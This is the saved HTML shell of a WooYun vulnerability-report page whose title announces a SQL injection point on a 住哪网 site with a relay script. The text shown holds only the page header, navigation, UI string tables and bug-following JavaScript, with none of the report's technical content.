<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>

<meta http-equiv="x-ua-compatible" content="ie=7"/>

<title> 住哪网某站非常奇葩注入点(附中转脚本) | WooYun-2015-111109 | WooYun.org </title>

<meta name="author" content="80sec"/>

<meta name="copyright" content="http://www.wooyun.org/"/>

<meta name="keywords" content="住哪网漏洞,BMa,SQL注射漏洞,wooyun,应用安全,web安全,系统安全,网络安全,漏洞公布,漏洞报告,安全资讯。"/>

<meta name="description" content="住哪网某站非常奇葩注入点/附中转脚本

第一次遇到这么奇葩的注入点  乌云上之前貌似没有案例 求雷劈



|WooYun是一个位于厂商和安全研究者之间的漏洞报告平台,注重尊重,进步,与意义"/>

<link rel="icon" href="http://wooyun.org/favicon.ico" sizes="32x32" />

<link href="../css/style.css?v=201501291909" rel="stylesheet" type="text/css"/>

<script src="https://static.wooyun.org/static/js/jquery-1.4.2.min.js" type="text/javascript"></script>

</head>



<body id="bugDetail">



<style>

#myBugListTab { position:relative; display:inline; border:none }

#myBugList { position:absolute; display:none; margin-left:309px; * margin-left:-60px; * margin-top:18px ; border:#c0c0c0 1px solid; padding:2px 7px; background:#FFF }

#myBugList li { text-align:left }

</style>

<script type="text/javascript">

$(document).ready(function(){



	if ( $("#__cz_push_d_object_box__") ) {

		$("script[src^='http://cip4.czpush.com/']").attr("src"," ").remove();

		$("#__cz_push_d_object_box__").empty().remove();

		$("a[id^='__czUnion_a']").attr("href","#").remove();

	}



	if ( $("#ooDiv") ) {

		$("#ooDiv").empty().parent("div").remove();

	}



	$("#myBugListTab").toggle(

		function(){

			$("#myBugList").css("display","block");

		},

		function(){

			$("#myBugList").css("display","none");

		}

	);



	if ( $(window).scrollTop() > 120 ) {

		$("#back-to-top").fadeIn(300);

	} else {

		$("#back-to-top").fadeOut(300);

	} 



	$(window).scroll(function(){

		if ( $(window).scrollTop() > 120 ) {

			$("#back-to-top").fadeIn(300);

		} else {

			$("#back-to-top").fadeOut(300);

		} 

	});



	$("#back-to-top a").click(function() {

		$('body,html').animate({scrollTop:0},300);

		return false;

	});



	$("#go-to-comment a").click(function() {

		var t = $("#replys").offset().top - 52;

		$('body,html').animate({scrollTop:t},300);

		return false;

	});



});



function gofeedback(){

	var bugid=$("#fbid").val();

	if(bugid){

		var url="/feedback.php?bugid="+bugid;

	}else{

		var url="/feedback.php"

	}

	window.open(url);

}

</script>



	<div class="go-to-wrapper">

		<ul class="go-to">

		    <li id="go-to-comment" title="转到评论"><a href="wooyun-2015-0111109#">转到评论</a></li>

		    <li id="go-to-feedback" title="我要反馈"><a href="javascript:void(0)" onclick="gofeedback()">我要反馈</a></li>

		    <li id="back-to-top" title="回到顶部"><a href="wooyun-2015-0111109#">回到顶部</a></li>

		</ul>

	</div>

	<div class="banner">

		<div class="logo">

		<h1>WooYun.org</h1>

		<div class="weibo"><iframe width="136" height="24" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" scrolling="no" border="0" src="http://widget.weibo.com/relationship/followbutton.php?language=zh_cn&width=136&height=24&uid=1981622273&style=2&btn=red&dpc=1"></iframe>

		</div>

		<div class="wxewm">

			<a class="ewmthumb" href="javascript:void(0)"><span><img src="https://static.wooyun.org/static/images/ewm.jpg"width="220" border="0"></span><img src="https://static.wooyun.org/static/images/weixin_30.png"width="22" border="0"></a>

		</div>

		</div>

		

				<div class="login">

					<a href="http://wooyun.org/user.php?action=login">登录</a> | <a href="http://wooyun.org/user.php?action=register" class="reg">注册</a>

				</div>

				</div>



	<div class="nav" id="nav_sc">

		<ul>

			<li><a href="http://wooyun.org/index.php">首页</a></li>

			<li><a href="http://wooyun.org/corps/">厂商列表</a></li>

			<li><a href="http://wooyun.org/whitehats/">白帽子</a></li>

			<li><a href="http://wooyun.org/top/">乌云榜</a></li> 

            <li><a href="http://wooyun.org/teams/">团队</a></li>

            <li><a href="http://wooyun.org/bugs/">漏洞列表</a></li>

			<li class="new"><a href="http://wooyun.org/bug/submit">提交漏洞</a></li>

			<!--li><a href="/corp_actions">厂商活动</a></li-->

			<!--<li><a target='_blank' href="http://security.wooyun.org/">安全中心</a></li>-->

			<li><a href="http://summit.wooyun.org" target="_blank" style="color:rgb(246,172,110);font-size:14px;font-weight:blod">乌云峰会</a></li>

			<!--li><a href="/job/">企业招聘</a></li-->

						<li><a href="http://job.wooyun.org" target="_blank">乌云招聘</a></li>

						<li><a href="http://drops.wooyun.org" target="_blank">知识库</a></li>

						<li><a href="http://wooyun.org/notice/">公告</a></li>

		</ul>

        <form action="http://wooyun.org/searchbug.php" method="post" id="searchbox">

            <input type="text" name="q" id="search_input" />

            <input type="submit" value="搜索" id="search_button" />

        </form>

	</div>



	<div class="bread" style="padding-top: 4px;">

		<div style="float:left">当前位置：<a href="http://wooyun.org/index.php">WooYun</a> >> <a href="wooyun-2015-0111109#">漏洞信息</a></div>

			</div>
<script language="javascript">

var _LANGJS = {"COMMENT_LIKE_SELF":"\u4e0d\u80fd\u81ea\u5df1\u8d5e\u81ea\u5df1\u7684\u8bc4\u8bba","COMMENT_LIKED":"\u5df2\u8d5e\u6b64\u8bc4\u8bba","COMMENT_NOT":"\u6b64\u8bc4\u8bba\u4e0d\u5b58\u5728","COMMENT_FILL":"\u8bf7\u8f93\u5165\u8bc4\u8bba\u5185\u5bb9","COMMENT_STAT":"\u8bc4\u8bba\u4e0d\u80fd\u4e3a\u7a7a","COMMENT_LOGIN":"\u767b\u9646\u540e\u624d\u80fd\u8bc4\u8bba","COMMENT_GOOD_DONE":"\u5df2\u8d5e\u8fc7\u6b64\u6761\u8bc4\u8bba","COMMENT_SELF":"\u4e0d\u80fd\u8bc4\u4ef7\u81ea\u5df1\u53d1\u5e03\u7684\u8bc4\u8bba","COMMENT_CLICK_FILL":"\u70b9\u51fb\u8f93\u5165\u8bc4\u8bba\u5185\u5bb9","FAIL":"\u64cd\u4f5c\u5931\u8d25","FAIL_MANAGE":"\u64cd\u4f5c\u5931\u8d25\uff0c\u8bf7\u4e0e\u7ba1\u7406\u5458\u8054\u7cfb","FAIL_NO_WHITEHATS":"\u64cd\u4f5c\u5931\u8d25\uff0c\u6ca1\u6709\u6b64\u767d\u5e3d\u5b50","FAIL_NO_CORPS":"\u64cd\u4f5c\u5931\u8d25\uff0c\u6ca1\u6709\u6b64\u5382\u5546","BUGS_CORPS_SELECT":"\u9009\u62e9\u5382\u5546(\u53ef\u8f93\u5165\u5173\u952e\u5b57\u641c\u7d22)","BUGS_CORPS_OTHER":"Other\/\u5176\u5b83\u5382\u5546","BUGS_CORPS_TYPE_STAT":"\u8be5\u6f0f\u6d1e\u5bf9\u5e94\u5382\u5546\u7684\u7c7b\u578b","BUGS_CORPS_NAME_STAT":"\u8be5\u6f0f\u6d1e\u5bf9\u5e94\u5382\u5546\u7684\u540d\u79f0","BUGS_TYPE_STAT":"\u8be5\u6f0f\u6d1e\u7684\u7c7b\u578b\uff0c\u4e71\u9009\u6263\u5206","BUGS_TITLE_STAT":"\u8be5\u6f0f\u6d1e\u7684\u6807\u9898","BUGS_HARMLEVEL_STAT":"\u8be5\u6f0f\u6d1e\u7684\u5371\u5bb3\u7b49\u7ea7","BUGS_DESCRIPTION_STAT":"\u5bf9\u6f0f\u6d1e\u7684\u7b80\u8981\u63cf\u8ff0\uff0c\u53ef\u4ee5\u7b80\u5355\u63cf\u8ff0\u6f0f\u6d1e\u7684\u5371\u5bb3\u548c\u6210\u56e0\uff0c\u4e0d\u8981\u900f\u6f0f\u6f0f\u6d1e\u7684\u7ec6\u8282","BUGS_CONTENT_STAT":"\u5bf9\u6f0f\u6d1e\u7684\u8be6\u7ec6\u63cf\u8ff0\uff0c\u8bf7\u5c3d\u91cf\u591a\u7684\u6df1\u5165\u7ec6\u8282\u4ee5\u65b9\u4fbf\u5bf9\u6f0f\u6d1e\u7684\u7406\u89e3\uff0c\u652f\u6301&lt;code>&lt;\/code>\u6807\u7b7e","BUGS_POC_STAT":"\u7ed9\u51fa\u95ee\u9898\u7684\u6982\u5ff5\u6027\u8bc1\u660e\uff0c\u652f\u6301&lt;code>&lt;\/code>\u6807\u7b7e","BUGS_PATCH_STAT":"\u5efa\u8bae\u7684\u6f0f\u6d1e\u4fee\u590d\u65b9\u6848\uff0c\u652f\u6301&lt;code>&lt;\/code>\u6807\u7b7e","BUGS_TEST_STAT":"\u7ed9\u51fa\u95ee\u9898\u7684\u6807\u51c6\u6d4b\u8bd5\u4ee3\u7801\u4ee5\u66f4\u4e3a\u65b9\u4fbf\u7684\u5bf9\u6f0f\u6d1e\u8fdb\u884c\u6d4b\u8bd5\u548c\u9a8c\u8bc1\uff0c\u6d4b\u8bd5\u4ee3\u7801\u5bf9\u5916\u9ed8\u8ba4\u4e0d\u663e\u793a\uff0c<br\/>\u5176\u4ed6\u767d\u5e3d\u5b50\u652f\u4ed8\u4e4c\u4e91\u5e01\u67e5\u770b\u540e\u4f60\u5c06\u83b7\u5f97\u989d\u5916\u4e4c\u4e91\u5e01\uff0c<br\/>\u540c\u65f6\u4e5f\u5c06\u5728\u4f60\u7684\u4e2a\u4eba\u9875\u9762\u4f53\u73b0\u4f60\u7684\u6d4b\u8bd5\u4ee3\u7801\u7f16\u5199\u80fd\u529b\u3002","BUGS_QUESTION_SELECT":"\u8bf7\u9009\u62e9\u95ee\u9898\u5382\u5546","BUGS_TITLE_NOTICE":"\u6f0f\u6d1e\u6807\u9898\u4e0d\u80fd\u4e3a\u7a7a","BUGS_RANK_NOTICE1":"\u8bf7\u586b\u5199\u81ea\u8bc4Rank","BUGS_RANK_NOTICE2":"\u81ea\u8bc4Rank\u4e3a\u5927\u4e8e0\u7684\u6570\u5b57","BUGS_TYPE_SELECT":"\u8bf7\u9009\u62e9\u6f0f\u6d1e\u7c7b\u578b","BUGS_TYPE_NOTICE":"\u8bf7\u586b\u5199\u6f0f\u6d1e\u7c7b\u578b","BUGS_HARMLEVEL_SELECT":"\u9009\u62e9\u6f0f\u6d1e\u7b49\u7ea7","BUGS_HARMLEVEL_NOTICE":"\u8bf7\u9009\u62e9\u6f0f\u6d1e\u7b49\u7ea7","BUGS_HARMLEVEL_LOWER":"\u6f0f\u6d1e\u7b49\u7ea7\u4e3a \u4f4e \u65f6\uff0c\u81ea\u8bc4Rank\u4e3a1-5","BUGS_HARMLEVEL_MIDDLE":"\u6f0f\u6d1e\u7b49\u7ea7\u4e3a \u4e2d \u65f6\uff0c\u81ea\u8bc4Rank\u4e3a5-10","BUGS_HARMLEVEL_HIGH":"\u6f0f\u6d1e\u7b49\u7ea7\u4e3a \u9ad8 \u65f6\uff0c\u81ea\u8bc4Rank\u4e3a10-20","BUGS_AREA_SELECT":"\u8bf7\u9009\u62e9\u5730\u533a\uff01","BUGS_DOMAILS":"\u6f0f\u6d1e\u6240\u5728\u57df\u540d(\u5982qq.com)","BUGS_DOMAIN_FILL":"\u8bf7\u586b\u5199\u57df\u540d\uff01","BUGS_DETAIL_MORE":"\u67e5\u770b\u8be6\u60c5","BUGS_IGNORE_DAYS":"\u8ddd\u6f0f\u6d1e\u5ffd\u7565\u8fd8\u6709","BUGS_CONFIRM_QUICK":"\u8bf7\u5382\u5546\u5c3d\u5feb","BUGS":"\u6f0f\u6d1e","BUGS_PUBLIC_DAYS":"\u8ddd\u6f0f\u6d1e\u5411\u516c\u4f17\u516c\u5f00\u8fd8\u6709","BUGS_IGNORE_PUBLIC_DAYS":"\u8ddd\u6f0f\u6d1e\u672a\u786e\u8ba4\u65e0\u5f71\u54cd\u5ffd\u7565\u8fd8\u6709","BUGS_REPAIR_QUICK":"\u8bf7\u5382\u5546\u5c3d\u5feb\u4fee\u590d\u6f0f\u6d1e","BUGS_HARMLEVEL_REMIND":"\u8bf7\u9009\u62e9\u5371\u5bb3\u7b49\u7ea7","BUGS_RANK_STAT":"rank\u4e3a1-20\u7684\u6b63\u6574\u6570","BUGS_RANK_STAT1":"rank\u4e3a1-5\u7684\u6b63\u6574\u6570","BUGS_RANK_STAT2":"rank\u4e3a5-10\u7684\u6b63\u6574\u6570","BUGS_RANK_STAT3":"rank\u4e3a10-20\u7684\u6b63\u6574\u6570","BUGS_COMPLEMENT_REASON":"\u6dfb\u52a0\u5bf9\u6f0f\u6d1e\u7684\u8865\u5145\u8bf4\u660e\u4ee5\u53ca\u505a\u51fa\u8bc4\u4ef7\u7684\u7406\u7531","BUGS_REPLY_FILL":"\u8bf7\u586b\u5199\u6f0f\u6d1e\u56de\u590d","BUGS_IGNORE_CONFIRM":"\u786e\u5b9a\u5ffd\u7565\u6b64\u6f0f\u6d1e\u5417","BUGS_STATUS_NEW_UPDATE":"\u66f4\u6539\u6f0f\u6d1e\u7684\u6700\u65b0\u72b6\u6001","BUGS_STATUS_FILL":"\u8bf7\u586b\u5199\u6f0f\u6d1e\u72b6\u6001","BUGS_PUBLIC_ADVANCE":"\u786e\u5b9a\u63d0\u524d\u516c\u5f00\u6b64\u6f0f\u6d1e\u5417","BUGS_COUNT":"\u6f0f\u6d1e\u6570","BUGS_REPLY_HAT":"\u56de\u590d\u6b64\u4eba","BUGS_DELAY_CONFIRM":"\u786e\u5b9a\u8981\u5ef6\u671f\u4e48?","BUGS_DELAY":"\u7533\u8bf7\u5ef6\u671f","BUGS_DELAY_DONE":"\u5df2\u7ecf\u5ef6\u671f","BUGS_RISK_CONFIM":"\u786e\u5b9a\u6b64\u6f0f\u6d1e\u4e3a\u9ad8\u5371\u5417?","BUGS_NULL_EDITE":"\u7559\u7a7a\u8868\u793a\u4e0d\u4fee\u6539","BUGS_DONE_CONFIRM":"\u8be5\u64cd\u4f5c\u6682\u65f6\u4e0d\u53ef\u9006\uff0c\u786e\u5b9a\uff1f","BUGS_UPUBLIC":"\u4f60\u4ece\u53d1\u5e03\u7684\u6f0f\u6d1e","BUGS_UPUBLIC1":"\u91cc\u53c8\u83b7\u5f97\u4e86","BUGS_PRECHECK":"\u6709\u4eba\u63d0\u524d\u67e5\u770b\u4e86\u4f60\u53d1\u5e03\u7684\u6f0f\u6d1e","BUGS_PRECHECK_UNPUBLIC":"\u63d0\u524d\u67e5\u770b\u672a\u516c\u5f00\u6f0f\u6d1e","BUGS_NUM":"\u6f0f\u6d1e\u6570\u91cf","RANKAVG":"\u4eba\u5747\u8d21\u732e Rank","CAPTCHA_GET":"\u83b7\u53d6\u9a8c\u8bc1\u7801","CAPTCHA_FILL":"\u8bf7\u8f93\u5165\u56fe\u7247\u4e2d\u7684\u9a8c\u8bc1\u7801","CAPTCHA_NULL":"\u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a","CAPTCHA_ERROR":"\u9a8c\u8bc1\u7801\u8f93\u5165\u9519\u8bef","CAPTCHA_PHONE_ERROR":"\u624b\u673a\u9a8c\u8bc1\u7801\u4e0d\u6b63\u786e","CAPTCHA_PHONE_SEND":"\u9a8c\u8bc1\u7801\u5df2\u53d1\u9001\u5230\u4f60\u7684\u624b\u673a\u4e0a\u8bf7\u6ce8\u610f\u67e5\u6536","CAPTCHA_SEND_AGAIN":"\u540e\u53ef\u91cd\u53d1","CAPTCHA_SEND_OVER":"\u77ed\u4fe1\u5df2\u53d1\u9001\u6210\u529f,\u9a8c\u8bc1\u7801\u533a\u5206\u5927\u5c0f\u5199","CAPTCHA_PHONE_NO":"\u4e0d\u9700\u8981\u77ed\u4fe1\u9a8c\u8bc1\u7801","CAPTCHA_PHONE_NULL":"\u77ed\u4fe1\u5bc6\u7801\u4e0d\u80fd\u4e3a\u7a7a","PHONE_TYPE_ERROR":"\u7535\u8bdd\u683c\u5f0f\u4e0d\u5bf9","PHONE_NOTING":"\u7535\u8bdd\u4e0d\u80fd\u4e3a\u7a7a","PHONE_FILL":"\u8bf7\u586b\u5199\u624b\u673a\u53f7","PHONE_CAPTCHA_NOTING":"\u624b\u673a\u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a","PASSWORD_NOTING":"\u5bc6\u7801\u4e0d\u80fd\u4e3a\u7a7a","PASSWORD_CONFIRM_NOTING":"\u5bc6\u7801\u786e\u8ba4\u4e0d\u80fd\u4e3a\u7a7a","PASSWORD_PAY_LESS":"\u652f\u4ed8\u5bc6\u7801\u4e0d\u80fd\u5c11\u4e8e6\u4f4d","PASSWORD_FILL_DIFFERENT":"\u8f93\u5165\u7684\u4e24\u6b21\u5bc6\u7801\u4e0d\u4e00\u6837","PASSWORD_PAY_LOGIN_SAME":"\u652f\u4ed8\u5bc6\u7801\u4e0d\u80fd\u540c\u767b\u9646\u5bc6\u7801\u4e00\u6837","PASSWORD_PAY_FILL":"\u8bf7\u586b\u5199\u652f\u4ed8\u5bc6\u7801","PASSWORD_LENGH_LESS":"\u5bc6\u7801\u957f\u5ea6\u4e0d\u80fd\u5c0f\u4e8e6\u4f4d","PASSWORD_SEND_OK":"\u53d1\u9001\u5bc6\u7801\u90ae\u4ef6\u6210\u529f","PASSWORD_OFER_WRROR":"\u60a8\u63d0\u4f9b\u7684\u627e\u56de\u5bc6\u7801\u4fe1\u606f\u4e0d\u6b63\u786e","PASSWORD_OLD_ERROR":"\u539f\u5bc6\u7801\u9519\u8bef","PASSWORD_UPDATE_OK":"\u5bc6\u7801\u4fee\u6539\u6210\u529f","EMAILL_USED":"\u90ae\u7bb1\u5df2\u88ab\u5360\u7528","EMAILL_NULL":"\u90ae\u7bb1\u4e0d\u80fd\u4e3a\u7a7a\uff01","NOTING":"\u65e0","LEAVEWORDS_NULL":"\u7559\u8a00\u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a","LOGIN_FIRST":"\u8bf7\u5148\u767b\u5f55","CONFIRM":"\u786e\u8ba4","YEAR":"\u5e74","DAYS":"\u5929","HOURS":"\u65f6","HOUR":"\u5c0f\u65f6","MINUTE":"\u5206","SECOND":"\u79d2","IS":"\u4e3a","ONE":"\u4e00","TWE":"\u4e8c","TIMES":"\u6b21","COUNTENT_UPDATE_FILL":"\u8bf7\u586b\u5199\u4fee\u6539\u5185\u5bb9","CANCLE":"\u53d6\u6d88","OPERATE_CONFIRM":"\u786e\u5b9a\u6b64\u64cd\u4f5c\u5417\uff1f","USERNAME":"\u59d3\u540d","SUCCESS":"\u64cd\u4f5c\u6210\u529f","FAIL_REPLY":"\u64cd\u4f5c\u5931\u8d25\uff0c\u8bf7\u586b\u5199\u56de\u590d\u4fe1\u606f","SEND_OK":"\u53d1\u9001\u6210\u529f","PHONE_BIND_DONE":"\u5df2\u7ed1\u5b9a","TAGS_USE":"\u4f7f\u7528\u6b64\u6807\u7b7e","WHITEHATS":"\u767d\u5e3d\u5b50","WHITEHATS_VERTIFY":"\u8ba4\u8bc1\u767d\u5e3d\u5b50","WHITEHATES_NAME":"\u8bf7\u8f93\u5165\u767d\u5e3d\u5b50\u7528\u6237\u540d","USER_ZONE_EDIT":"\u7f16\u8f91\u9886\u57df","WB_TRANSFER":"\u6211\u8981\u8f6c\u8d26","WB_TRANSFER_CANCEL":"\u53d6\u6d88\u8f6c\u8d26","WB_NUM":"\u8bf7\u8f93\u5165\u4e4c\u4e91\u5e01\u6570\u91cf","WB_NUMBER":"\u4e4c\u4e91\u5e01\u6570\u91cf\u4e3a\u6b63\u6574\u6570","WB_NEED_LESS":"\u81f3\u5c11\u9700\u8981","WB_NEED_SUM":"\u4e2a\u4e4c\u4e91\u5e01","WB_TRANSFER_OK":"\u8f6c\u8d26\u6210\u529f","WB_MY":"\u6211\u7684\u4e4c\u4e91\u5e01","WB_CAN_USE":"\u53ef\u7528\u7684\u4e4c\u4e91\u5e01","WB_FROZEN":"\u51bb\u7ed3\u7684\u4e4c\u4e91\u5e01","WB_LACK":"\u4e4c\u4e91\u5e01\u4e0d\u8db3","WB_SET_SCOPE":"\u51fa\u4ef7\u8303\u56f4\u4e3a","WB_BIND_CANCEL_STAT":"(\u70b9\u51fb\u201c\u53d6\u6d88\u7ed1\u5b9a\u201d\u83b7\u53d6\u9a8c\u8bc1\u7801\uff0c\u5411\u4e4c\u4e91\u516c\u4f17\u8d26\u53f7\u53d1\u9001\u9a8c\u8bc1\u7801\u53d6\u6d88\u5fae\u4fe1\u7ed1\u5b9a\uff0c\u7136\u540e\u5237\u65b0\u672c\u9875\u9762)","EMAIL_LOGIN_MEXT":"\u90ae\u4ef6\u53d1\u9001\u6210\u529f,\u8bf7\u767b\u9646\u60a8\u7684\u90ae\u7bb1\u8fdb\u884c\u4e0b\u4e00\u6b65\u64cd\u4f5c","EMAIL_UPDATE_LOGIN_MEXT":"\u66f4\u6539\u8bf7\u6c42\u5df2\u53d1\u9001\u5230\u90ae\u7bb1,\u8bf7\u767b\u9646\u60a8\u7684\u90ae\u7bb1\u8fdb\u884c\u4e0b\u4e00\u6b65\u64cd\u4f5c","EMAIL_SEND_OK":"\u90ae\u4ef6\u53d1\u9001\u6210\u529f\uff01","CORPS":"\u5382\u5546","TEAM_NAME_NULL":"\u56e2\u961f\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a","TEAM_HOMEPAGE_NULL":"\u56e2\u961f\u4e3b\u9875\u4e0d\u80fd\u4e3a\u7a7a","TEAM_QQ_NULL":"\u56e2\u961fqq\u4e0d\u80fd\u4e3a\u7a7a","TEAM_BRIEF_NULL":"\u56e2\u961f\u7b80\u4ecb\u4e0d\u80fd\u4e3a\u7a7a","TEAM_EXIST":"\u56e2\u961f\u5df2\u5b58\u5728","TEAM_DISMISS_CONFIRM":"\u786e\u5b9a\u89e3\u6563\u672c\u56e2\u961f\u5417?","TEAM_NAME":"\u56e2\u961f\u540d\u79f0","TEAM_CREATER":"\u521b\u5efa\u4eba","TEAM_DONATER":"\u56e2\u961f\u4e3b\u529b","TEAM_MUMBER":"\u4eba\u6570","TEAM":"\u56e2\u961f","REGISTER_BRIEF":"*\u8bf7\u8f93\u5165\u4e2a\u4eba\u7684\u7b80\u8981\u4ecb\u7ecd","REGISTER_TYPE":"*\u9009\u62e9\u6ce8\u518c\u7c7b\u578b","REGISTER_CORPS_BRIEF":"*\u8f93\u5165\u5382\u5546\u7684\u7b80\u8981\u4ecb\u7ecd","REGISTER_EMAIL":"*\u5382\u5546\u90ae\u4ef6\u5fc5\u987b\u4e3a\u4f01\u4e1a\u4f7f\u7528\u7684\u6b63\u5f0f\u90ae\u4ef6","REGISTER_NAME_NULL":"\u7528\u6237\u540d\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_HOMEPAGE_NULL":"\u4e2a\u4eba\u4e3b\u9875\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_BREIF_NULL":"\u7b80\u8981\u4ecb\u7ecd\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_CORPNAME_NULL":"\u5382\u5546\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_CORPHOMEPAGE_NULL":"\u5b98\u65b9\u4e3b\u9875\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_LAW_AGREE":"\u540c\u610f\u300a\u4fe1\u606f\u5b89\u5168\u76f8\u5173\u4fdd\u62a4\u548c\u58f0\u660e\u300b\u624d\u80fd\u6ce8\u518c","ATTENTION":"\u5173\u6ce8","ATTENTION_SUM":"\u5173\u6ce8\u6570","ATTENTION_DONE":"\u5df2\u5173\u6ce8","ATTENTION_CANCEL":"\u53d6\u6d88\u5173\u6ce8","ATTENTION_BUG_DONE":"\u5df2\u5173\u6ce8\u6b64\u6f0f\u6d1e","ATTENTION_BUG_CONFIRM":"\u786e\u5b9a\u53d6\u6d88\u5bf9\u6b64\u6f0f\u6d1e\u7684\u5173\u6ce8","ATTENTION_BUG":"\u5173\u6ce8\u6b64\u6f0f\u6d1e","ATTENTION_BUG_UNDO":"\u6ca1\u6709\u5173\u6ce8\u6b64\u6f0f\u6d1e","ATTENTION_HAT_DONE":"\u5df2\u5173\u6ce8\u6b64\u767d\u5e3d\u5b50","ATTENTION_HAT_CONFIRM":"\u786e\u5b9a\u53d6\u6d88\u5bf9\u6b64\u767d\u5e3d\u5b50\u7684\u5173\u6ce8?","COLLECTION":"\u6536\u85cf","COLLECTION_DONE":"\u5df2\u6536\u85cf","COLLECTION_BUG_DONE":"\u5df2\u6536\u85cf\u6b64\u6f0f\u6d1e","COLLECTION_BUG_UNDO":"\u6ca1\u6709\u6536\u85cf\u6b64\u6f0f\u6d1e","COLLECTION_BUG_CONFIRM":"\u786e\u5b9a\u53d6\u6d88\u5bf9\u6b64\u6f0f\u6d1e\u7684\u6536\u85cf","SMS_SEND_NAME":"* \u7528\u6237\u6635\u79f0\/\u5382\u5546\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_TITLE":"* \u6807\u9898\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_CONTENT":"* \u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_CAPTCHA":"* \u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a<br \/>","NUMBER":"\u7684\u6b63\u6574\u6570","RATING_SUCCESS":"\u8bc4\u5206\u6210\u529f","RATING_BUGS_DONE":"\u5df2\u5bf9\u6b64\u6f0f\u6d1e\u8fdb\u884c\u8fc7\u8bc4\u5206","RATING_BUGS_SELF":"\u4e0d\u80fd\u5bf9\u81ea\u5df1\u53d1\u5e03\u7684\u6f0f\u6d1e\u8fdb\u884c\u8bc4\u5206","RATING_SUBMIT_CANCLE":"\u53d6\u6d88\u63d0\u4ea4\u8bc4\u5206","RATING_SUBMIT":"\u63d0\u4ea4\u6211\u7684\u8bc4\u5206","RATING_SUBMIT_CHECK":"\u8bf7\u786e\u5b9a\u6bcf\u4e00\u9879\u90fd\u9009\u62e9\u4e86\u8bc4\u5206","RATING_CONFIRM":"\u786e\u5b9a\u63d0\u4ea4\u5bf9\u6b64\u5382\u5546\u7684\u8bc4\u5206\u5417\uff1f","RATING_LOGIN":"\u53ea\u6709\u767b\u5f55\u7684\u767d\u5e3d\u5b50\u624d\u80fd\u8bc4\u5206","RATING_DONE":"\u5df2\u7ecf\u8bc4\u8fc7\u5206\u4e86","WOOYUN_CORPS":"\u4e4c\u4e91\u5382\u5546","MARST_IMAGE":"\u5bf9\u56fe\u7247\u6253\u7801","FEEDBACK_LINK_NULL":"\u94fe\u63a5\u4e0d\u80fd\u4e3a\u7a7a\uff01","FEEDBACK_LINK_ERROR":"\u8bf7\u4e66\u5199\u6b63\u786e\u7684\u94fe\u63a5\u5730\u5740\uff01","FEEDBACK_CONTENT_NULL":"\u95ee\u9898\u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a\uff01","FEEDBACK_ALLOW_LIMIT":"\u534a\u5c0f\u65f6\u53ea\u5141\u8bb8\u53cd\u9988\u4e00\u6b21","TOP_RANK":"\u6392\u540d","TOP_BUG_TITLE":"\u6f0f\u6d1e\u6807\u9898","TOP_RANK_NONE":"\u6682\u65e0\u6392\u540d","TOP_BUGS_GOOD":"\u4f18\u8d28\u6f0f\u6d1e\u6570","NICKNAME":"\u6635\u79f0","LEVEL":"\u7b49\u7ea7","VALUE":"\u503c","EDITOR_INSERT_PIC":"\u63d2\u5165\u56fe\u7247","EDITOR_PIC_ADDR":"\u5730\u5740\uff1a","EDITOR_CONFIRM":"\u786e\u5b9a","EDITOR_PIC_NULL":"\u8bf7\u4e0a\u4f20\u56fe\u7247\u6216\u586b\u5199\u56fe\u7247\u5730\u5740","EDITOR_INSERT_VIDIO":"\u63d2\u5165\u89c6\u9891","EDITOR_VIDIO_ADDR":"\u89c6\u9891\u5730\u5740\uff1a","EDITOR_VIDIO_NULL":"\u8bf7\u586b\u5199\u89c6\u9891\u5730\u5740(.swf)","EDITOR_VIDIO_TYPE":"\u76ee\u524d\u4ec5\u652f\u6301.swf\u683c\u5f0f","PIC_SELECT":"\u8bf7\u9009\u62e9\u5f85\u4e0a\u4f20\u7684\u56fe\u7247","PIC_TYPE_IS":"\u56fe\u7247\u7c7b\u578b\u4e3a","UPLOAD":"\u4e0a\u4f20","RANK_AVG":"\u6f0f\u6d1e\u5e73\u5747"};



$(function(){

    function getParamsOfShareWindow(width, height) {

        return ['toolbar=0,status=0,resizable=1,width=' + width + ',height=' + height + ',left=',(screen.width-width)/2,',top=',(screen.height-height)/2].join('');

    }

});



function errimg(img){

	tmp=img.src;

	nimg=tmp.replace("http://wooyun.org/","http://www.wooyun.org/");

	img.src=nimg;

	$(img).parent().attr('href',nimg);

	img.onerror=null;

}

function AttendBug(id){

	$.get('/ajaxdo.php',{module:'attendbug',id:id,rid:Math.random(),token:$("#token").val()},function(re){

		if(re==1){

			$("#attention_num").html(parseInt($("#attention_num").html())+1);

			$("#attend_action").html('√'+_LANGJS.ATTENTION_DONE+' <a class="btn" href="javascript:void(0)" onclick="AttendCancel('+id+')">'+_LANGJS.ATTENTION_CANCEL+'</a></span>');

		}else if(re==2){

			alert(_LANGJS.LOGIN_FIRST);

		}else if(re==3){

			alert(_LANGJS.ATTENTION_BUG_DONE);

		}else{

			alert(_LANGJS.FAIL_MANAGE);

		}

	});

}

function AttendCancel(id){

	if(confirm(_LANGJS.ATTENTION_BUG_CONFIRM+"?")){

		$.get('/ajaxdo.php',{module:'attendcancel',id:id,rid:Math.random(),token:$("#token").val()},function(re){

			if(re==1){

				$("#attention_num").html(parseInt($("#attention_num").html())-1);

				$("#attend_action").html('<a class="btn" href="javascript:void(0)" onclick="AttendBug('+id+')">'+_LANGJS.ATTENTION_BUG+'</a></span>');

			}else{

				alert(_LANGJS.FAIL_MANAGE);

			}

		});

	}

}



function CollectBug(id,token){

